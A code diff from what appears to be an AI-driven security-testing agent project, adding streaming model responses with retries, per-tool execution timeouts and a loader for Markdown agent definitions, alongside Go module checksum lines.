go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/zap v1.26.0 h1:sI7k6L95XOKS281NhVKOFCUNIvv9e0w4BF8N3u+tCRo=
go.uber.org/zap v1.26.0/go.mod h1:dtElttAiwGvoJ/vj4IwHBS/gXsEu/pZ50mUIRWuG0so=
golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k=
golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
golang.org/x/arch v0.11.0 h1:KXV8WWKCXm6tRpLirl2szsO5j/oOODwZf4hATmGVNs4=
golang.org/x/arch v0.11.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc=
golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1 h1:MGwJjxBy0HJshjDNfLsYO8xppfqWlA5ZT9OhtUUhTNw=
golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI=
golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k=
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -144,9 +240,12 @@ golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8T
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
Binary file not shown.

After

Width:  |  Height:  |  Size: 451 KiB

+342 -38
View File
@@ -3,6 +3,7 @@ package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"net"
"net/http"
@@ -14,6 +15,7 @@ import (
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/storage"
"go.uber.org/zap"
@@ -195,6 +197,7 @@ type OpenAIRequest struct {
Model string `json:"model"`
Messages []ChatMessage `json:"messages"`
Tools []Tool `json:"tools,omitempty"`
Stream bool `json:"stream,omitempty"`
}
// OpenAIResponse OpenAI API响应
@@ -528,6 +531,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
var currentReActInput string
maxIterations := a.maxIterations
thinkingStreamSeq := 0
for i := 0; i < maxIterations; i++ {
// 先获取本轮可用工具并统计 tools token,再压缩,以便压缩时预留 tools 占用的空间
tools := a.getAvailableTools(roleTools)
@@ -629,7 +633,28 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
// 调用OpenAI
sendProgress("progress", "正在调用AI模型...", nil)
response, err := a.callOpenAI(ctx, messages, tools)
thinkingStreamSeq++
thinkingStreamId := fmt.Sprintf("thinking-stream-%s-%d-%d", conversationID, i+1, thinkingStreamSeq)
thinkingStreamStarted := false
response, err := a.callOpenAIStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
if delta == "" {
return nil
}
if !thinkingStreamStarted {
thinkingStreamStarted = true
sendProgress("thinking_stream_start", " ", map[string]interface{}{
"streamId": thinkingStreamId,
"iteration": i + 1,
"toolStream": false,
})
}
sendProgress("thinking_stream_delta", delta, map[string]interface{}{
"streamId": thinkingStreamId,
"iteration": i + 1,
})
return nil
})
if err != nil {
// API调用失败,保存当前的ReAct输入和错误信息作为输出
result.LastReActInput = currentReActInput
@@ -681,10 +706,12 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
// 检查是否有工具调用
if len(choice.Message.ToolCalls) > 0 {
// 如果有思考内容,先发送思考事件
// 思考内容:如果本轮启用了思考流式增量(thinking_stream_*),前端会去重;
// 同时也需要在该“思考阶段结束”时补一条可落库的 thinking(用于刷新后持久化展示)。
if choice.Message.Content != "" {
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
"iteration": i + 1,
"streamId": thinkingStreamId,
})
}
@@ -716,7 +743,21 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
})
// 执行工具
execResult, err := a.executeToolViaMCP(ctx, toolCall.Function.Name, toolCall.Function.Arguments)
toolCtx := context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(chunk string) {
if strings.TrimSpace(chunk) == "" {
return
}
sendProgress("tool_result_delta", chunk, map[string]interface{}{
"toolName": toolCall.Function.Name,
"toolCallId": toolCall.ID,
"index": idx + 1,
"total": len(choice.Message.ToolCalls),
"iteration": i + 1,
// success 在最终 tool_result 事件里会以 success/isError 标记为准
})
}))
execResult, err := a.executeToolViaMCP(toolCtx, toolCall.Function.Name, toolCall.Function.Arguments)
if err != nil {
// 构建详细的错误信息,帮助AI理解问题并做出决策
errorMsg := a.formatToolError(toolCall.Function.Name, toolCall.Function.Arguments, err)
@@ -791,16 +832,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
})
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
// 立即调用OpenAI获取总结
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果获取总结失败,跳出循环,让后续逻辑处理
break
@@ -816,7 +864,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
})
// 发送AI思考内容(如果没有工具调用)
if choice.Message.Content != "" {
if choice.Message.Content != "" && !thinkingStreamStarted {
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
"iteration": i + 1,
})
@@ -831,16 +879,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
})
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
// 立即调用OpenAI获取总结
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果获取总结失败,使用当前回复作为结果
if choice.Message.Content != "" {
@@ -871,15 +926,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
messages = append(messages, finalSummaryPrompt)
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "max_iter_summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果无法生成总结,返回友好的提示
@@ -1199,6 +1262,206 @@ func (a *Agent) callOpenAISingle(ctx context.Context, messages []ChatMessage, to
return &response, nil
}
// callOpenAISingleStreamText 单次调用OpenAI的流式模式,只用于“不会调用工具”的纯文本输出(tools 为空时最佳)。
// onDelta 每收到一段 content delta,就回调一次;如果 callback 返回错误,会终止读取并返回错误。
func (a *Agent) callOpenAISingleStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
reqBody := OpenAIRequest{
Model: a.config.Model,
Messages: messages,
Stream: true,
}
if len(tools) > 0 {
reqBody.Tools = tools
}
if a.openAIClient == nil {
return "", fmt.Errorf("OpenAI客户端未初始化")
}
return a.openAIClient.ChatCompletionStream(ctx, reqBody, onDelta)
}
// callOpenAIStreamText 调用OpenAI流式模式(带重试),仅在“未输出任何 delta”时才允许重试,避免重复发送已下发的内容。
func (a *Agent) callOpenAIStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
maxRetries := 3
var lastErr error
for attempt := 0; attempt < maxRetries; attempt++ {
var deltasSent bool
full, err := a.callOpenAISingleStreamText(ctx, messages, tools, func(delta string) error {
deltasSent = true
return onDelta(delta)
})
if err == nil {
if attempt > 0 {
a.logger.Info("OpenAI stream 调用重试成功",
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
)
}
return full, nil
}
lastErr = err
// 已经开始输出了 delta,避免重复内容:直接失败让上层处理。
if deltasSent {
return "", err
}
if !a.isRetryableError(err) {
return "", err
}
if attempt < maxRetries-1 {
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
if backoff > 30*time.Second {
backoff = 30 * time.Second
}
a.logger.Warn("OpenAI stream 调用失败,准备重试",
zap.Error(err),
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
zap.Duration("backoff", backoff),
)
select {
case <-ctx.Done():
return "", fmt.Errorf("上下文已取消: %w", ctx.Err())
case <-time.After(backoff):
}
}
}
return "", fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
}
// callOpenAISingleStreamWithToolCalls 单次调用OpenAI流式模式(带工具调用解析),不包含重试逻辑。
func (a *Agent) callOpenAISingleStreamWithToolCalls(
ctx context.Context,
messages []ChatMessage,
tools []Tool,
onContentDelta func(delta string) error,
) (*OpenAIResponse, error) {
reqBody := OpenAIRequest{
Model: a.config.Model,
Messages: messages,
Stream: true,
}
if len(tools) > 0 {
reqBody.Tools = tools
}
if a.openAIClient == nil {
return nil, fmt.Errorf("OpenAI客户端未初始化")
}
content, streamToolCalls, finishReason, err := a.openAIClient.ChatCompletionStreamWithToolCalls(ctx, reqBody, onContentDelta)
if err != nil {
return nil, err
}
toolCalls := make([]ToolCall, 0, len(streamToolCalls))
for _, stc := range streamToolCalls {
fnArgsStr := stc.FunctionArgsStr
args := make(map[string]interface{})
if strings.TrimSpace(fnArgsStr) != "" {
if err := json.Unmarshal([]byte(fnArgsStr), &args); err != nil {
// 兼容:arguments 不一定是严格 JSON
args = map[string]interface{}{"raw": fnArgsStr}
}
}
typ := stc.Type
if strings.TrimSpace(typ) == "" {
typ = "function"
}
toolCalls = append(toolCalls, ToolCall{
ID: stc.ID,
Type: typ,
Function: FunctionCall{
Name: stc.FunctionName,
Arguments: args,
},
})
}
response := &OpenAIResponse{
ID: "",
Choices: []Choice{
{
Message: MessageWithTools{
Role: "assistant",
Content: content,
ToolCalls: toolCalls,
},
FinishReason: finishReason,
},
},
}
return response, nil
}
// callOpenAIStreamWithToolCalls 调用OpenAI流式模式(带重试),仅当还没有输出任何 content delta 时才允许重试。
func (a *Agent) callOpenAIStreamWithToolCalls(
ctx context.Context,
messages []ChatMessage,
tools []Tool,
onContentDelta func(delta string) error,
) (*OpenAIResponse, error) {
maxRetries := 3
var lastErr error
for attempt := 0; attempt < maxRetries; attempt++ {
deltasSent := false
resp, err := a.callOpenAISingleStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
deltasSent = true
if onContentDelta != nil {
return onContentDelta(delta)
}
return nil
})
if err == nil {
if attempt > 0 {
a.logger.Info("OpenAI stream 调用重试成功",
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
)
}
return resp, nil
}
lastErr = err
if deltasSent {
// 已经开始输出了 delta:避免重复发送
return nil, err
}
if !a.isRetryableError(err) {
return nil, err
}
if attempt < maxRetries-1 {
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
if backoff > 30*time.Second {
backoff = 30 * time.Second
}
a.logger.Warn("OpenAI stream 调用失败,准备重试",
zap.Error(err),
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
zap.Duration("backoff", backoff),
)
select {
case <-ctx.Done():
return nil, fmt.Errorf("上下文已取消: %w", ctx.Err())
case <-time.After(backoff):
}
}
}
return nil, fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
}
// ToolExecutionResult 工具执行结果
type ToolExecutionResult struct {
Result string
@@ -1234,6 +1497,18 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
var executionID string
var err error
// 单次工具执行超时:防止单个工具长时间挂起(如 30 分钟仍显示执行中)
toolCtx := ctx
var toolCancel context.CancelFunc
if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
toolCtx, toolCancel = context.WithTimeout(ctx, time.Duration(a.agentConfig.ToolTimeoutMinutes)*time.Minute)
defer func() {
if toolCancel != nil {
toolCancel()
}
}()
}
// 检查是否是外部MCP工具(通过工具名称映射)
a.mu.RLock()
originalToolName, isExternalTool := a.toolNameMapping[toolName]
@@ -1245,29 +1520,39 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
zap.String("openAIName", toolName),
zap.String("originalName", originalToolName),
)
result, executionID, err = a.externalMCPMgr.CallTool(ctx, originalToolName, args)
result, executionID, err = a.externalMCPMgr.CallTool(toolCtx, originalToolName, args)
} else {
// 调用内部MCP工具
result, executionID, err = a.mcpServer.CallTool(ctx, toolName, args)
result, executionID, err = a.mcpServer.CallTool(toolCtx, toolName, args)
}
// 如果调用失败(如工具不存在),返回友好的错误信息而不是抛出异常
// 如果调用失败(如工具不存在、超时),返回友好的错误信息而不是抛出异常
if err != nil {
detail := err.Error()
if errors.Is(err, context.DeadlineExceeded) {
min := 10
if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
min = a.agentConfig.ToolTimeoutMinutes
}
detail = fmt.Sprintf("工具执行超过 %d 分钟被自动终止(可在 config.yaml 的 agent.tool_timeout_minutes 中调整)", min)
}
errorMsg := fmt.Sprintf(`工具调用失败
工具名称: %s
错误类型: 系统错误
错误详情: %v
错误详情: %s
可能的原因:
- 工具 "%s" 不存在或未启用
- 单次执行超时(agent.tool_timeout_minutes
- 系统配置问题
- 网络或权限问题
建议:
- 检查工具名称是否正确
- 若需更长执行时间,可适当增大 agent.tool_timeout_minutes
- 尝试使用其他替代工具
- 如果这是必需的工具,请向用户说明情况`, toolName, err, toolName)
- 如果这是必需的工具,请向用户说明情况`, toolName, detail, toolName)
return &ToolExecutionResult{
Result: errorMsg,
@@ -1605,6 +1890,25 @@ func (a *Agent) repairOrphanToolMessages(messages *[]ChatMessage) bool {
return removed
}
// ToolsForRole 返回与单 Agent 循环一致的工具定义(OpenAI function 格式),供 Eino DeepAgent 等编排层绑定 MCP 工具。
func (a *Agent) ToolsForRole(roleTools []string) []Tool {
return a.getAvailableTools(roleTools)
}
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
a.mu.Lock()
prev := a.currentConversationID
a.currentConversationID = conversationID
a.mu.Unlock()
defer func() {
a.mu.Lock()
a.currentConversationID = prev
a.mu.Unlock()
}()
return a.executeToolViaMCP(ctx, toolName, args)
}
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
func extractQuotedToolName(errMsg string) string {
start := strings.Index(errMsg, "\"")
+1 -22
View File
@@ -345,29 +345,8 @@ func (mc *MemoryCompressor) adjustRecentStartForToolCalls(msgs []ChatMessage, re
adjusted--
}
// Ensure at least one user message is included in recent messages to avoid Qwen model error
// Qwen models require a user message in the message array, otherwise they return:
// "No user query found in messages"
hasUserMessage := false
for i := adjusted; i < len(msgs); i++ {
if strings.EqualFold(msgs[i].Role, "user") {
hasUserMessage = true
break
}
}
// If no user message in recent messages, adjust backwards to include one
if !hasUserMessage {
for adjusted > 0 {
adjusted--
if strings.EqualFold(msgs[adjusted].Role, "user") {
break
}
}
}
if adjusted != recentStart {
mc.logger.Debug("adjusted recent window to keep tool call context and user message",
mc.logger.Debug("adjusted recent window to keep tool call context",
zap.Int("original_recent_start", recentStart),
zap.Int("adjusted_recent_start", adjusted),
)
+449
View File
@@ -0,0 +1,449 @@
// Package agents 从 agents/ 目录加载 Markdown 代理定义(子代理 + 可选主代理 orchestrator.md / kind: orchestrator)。
package agents
import (
"fmt"
"os"
"path/filepath"
"sort"
"strings"
"unicode"
"cyberstrike-ai/internal/config"
"gopkg.in/yaml.v3"
)
// OrchestratorMarkdownFilename 固定文件名:存在则视为 Deep 主代理定义,且不参与子代理列表。
const OrchestratorMarkdownFilename = "orchestrator.md"
// FrontMatter 对应 Markdown 文件头部字段(与文档示例一致)。
type FrontMatter struct {
Name string `yaml:"name"`
ID string `yaml:"id"`
Description string `yaml:"description"`
Tools interface{} `yaml:"tools"` // 字符串 "A, B" 或 []string
MaxIterations int `yaml:"max_iterations"`
BindRole string `yaml:"bind_role,omitempty"`
Kind string `yaml:"kind,omitempty"` // orchestrator = 主代理(亦可仅用文件名 orchestrator.md
}
// OrchestratorMarkdown 从 agents 目录解析出的主代理(Deep 协调者)定义。
type OrchestratorMarkdown struct {
Filename string
EinoName string // 写入 deep.Config.Name / 流式事件过滤
DisplayName string
Description string
Instruction string
}
// MarkdownDirLoad 一次扫描 agents 目录的结果(子代理不含主代理文件)。
type MarkdownDirLoad struct {
SubAgents []config.MultiAgentSubConfig
Orchestrator *OrchestratorMarkdown
FileEntries []FileAgent // 含主代理与所有子代理,供管理 API 列表
}
// IsOrchestratorMarkdown 判断该文件是否表示主代理:固定文件名 orchestrator.md,或 front matter kind: orchestrator。
func IsOrchestratorMarkdown(filename string, fm FrontMatter) bool {
base := filepath.Base(strings.TrimSpace(filename))
if strings.EqualFold(base, OrchestratorMarkdownFilename) {
return true
}
return strings.EqualFold(strings.TrimSpace(fm.Kind), "orchestrator")
}
// WantsMarkdownOrchestrator 保存前判断是否会把该文件作为主代理(用于唯一性校验)。
func WantsMarkdownOrchestrator(filename string, kindField string, raw string) bool {
if strings.EqualFold(strings.TrimSpace(kindField), "orchestrator") {
return true
}
base := filepath.Base(strings.TrimSpace(filename))
if strings.EqualFold(base, OrchestratorMarkdownFilename) {
return true
}
if strings.TrimSpace(raw) == "" {
return false
}
sub, err := ParseMarkdownSubAgent(filename, raw)
if err != nil {
return false
}
return strings.EqualFold(strings.TrimSpace(sub.Kind), "orchestrator")
}
// SplitFrontMatter 分离 YAML front matter 与正文(--- ... ---)。
func SplitFrontMatter(content string) (frontYAML string, body string, err error) {
s := strings.TrimSpace(content)
if !strings.HasPrefix(s, "---") {
return "", s, nil
}
rest := strings.TrimPrefix(s, "---")
rest = strings.TrimLeft(rest, "\r\n")
end := strings.Index(rest, "\n---")
if end < 0 {
